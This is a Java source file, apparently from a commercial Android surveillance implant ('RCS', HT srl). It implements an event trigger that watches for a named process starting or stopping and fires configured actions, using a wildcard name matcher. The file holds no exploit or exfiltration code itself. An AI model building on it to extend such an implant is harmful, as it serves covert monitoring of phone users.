/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : EventProcess.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.event; import com.android.dvci.ProcessInfo; import com.android.dvci.ProcessStatus; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfEvent; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerProcess; import com.android.dvci.util.Check; public class EventProcess extends BaseEvent implements Observer<ProcessInfo> { /** The Constant TAG. */ private static final String TAG = "EventProcess"; //$NON-NLS-1$ private int actionOnEnter, actionOnExit; private boolean active = false; private String starname; private boolean window; private boolean focus; @Override public void actualStart() { ListenerProcess.self().attach(this); } @Override public void actualStop() { ListenerProcess.self().detach(this); onExit(); // di sicurezza } @Override public boolean parse(ConfEvent conf) { try { window = conf.getBoolean("window"); focus = conf.getBoolean("focus"); starname = conf.getString("process"); } catch (final ConfigurationException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: params FAILED");//$NON-NLS-1$ } return false; } return true; } @Override public void actualGo() { } // Viene richiamata dal listener (dalla dispatch()) public int notification(ProcessInfo process) { final String processName = process.processInfo; if (!matchStar(starname.toLowerCase(), processName.toLowerCase())) { return 0; } if (process.status == ProcessStatus.START && active == false) { active = true; onEnter(); } else if (process.status == ProcessStatus.STOP && active == true) { active = false; onExit(); } return 0; } static boolean matchStar(String wildcardProcess, String processName) { if (processName == null) { return (wildcardProcess == null); } for (;;) { if (wildcardProcess.length() == 0) { return (processName.length() == 0); } if (wildcardProcess.charAt(0) == '*') { wildcardProcess = wildcardProcess.substring(1); if (wildcardProcess.length() == 0) { return true; } if (wildcardProcess.charAt(0) != '?' && wildcardProcess.charAt(0) != '*') { final int len = processName.length(); for (int i = 0; i < len; i++) { final char c = processName.charAt(0); processName = processName.substring(1); final String tp = wildcardProcess.substring(1); if (c == wildcardProcess.charAt(0) && matchStar(tp, processName)) { return true; } } return false; } for (int i = 0; i < processName.length(); i++) { final char c = processName.charAt(i); processName = processName.substring(1); if (matchStar(wildcardProcess, processName)) { return true; } } return false; } if (processName.length() == 0) { return false; } if (wildcardProcess.charAt(0) != '?' && wildcardProcess.charAt(0) != processName.charAt(0)) { return false; } processName = processName.substring(1); wildcardProcess = wildcardProcess.substring(1); } // NOTREACHED } }